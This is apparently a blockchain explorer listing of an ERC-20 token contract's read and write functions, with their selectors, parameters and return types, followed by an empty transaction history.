_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burnERC20Tokens 0x9804c8fc
uint256 percent
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
pullERC20 0xa3b17eb1
address tokenAddress
uint256 tokens
returns: bool
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address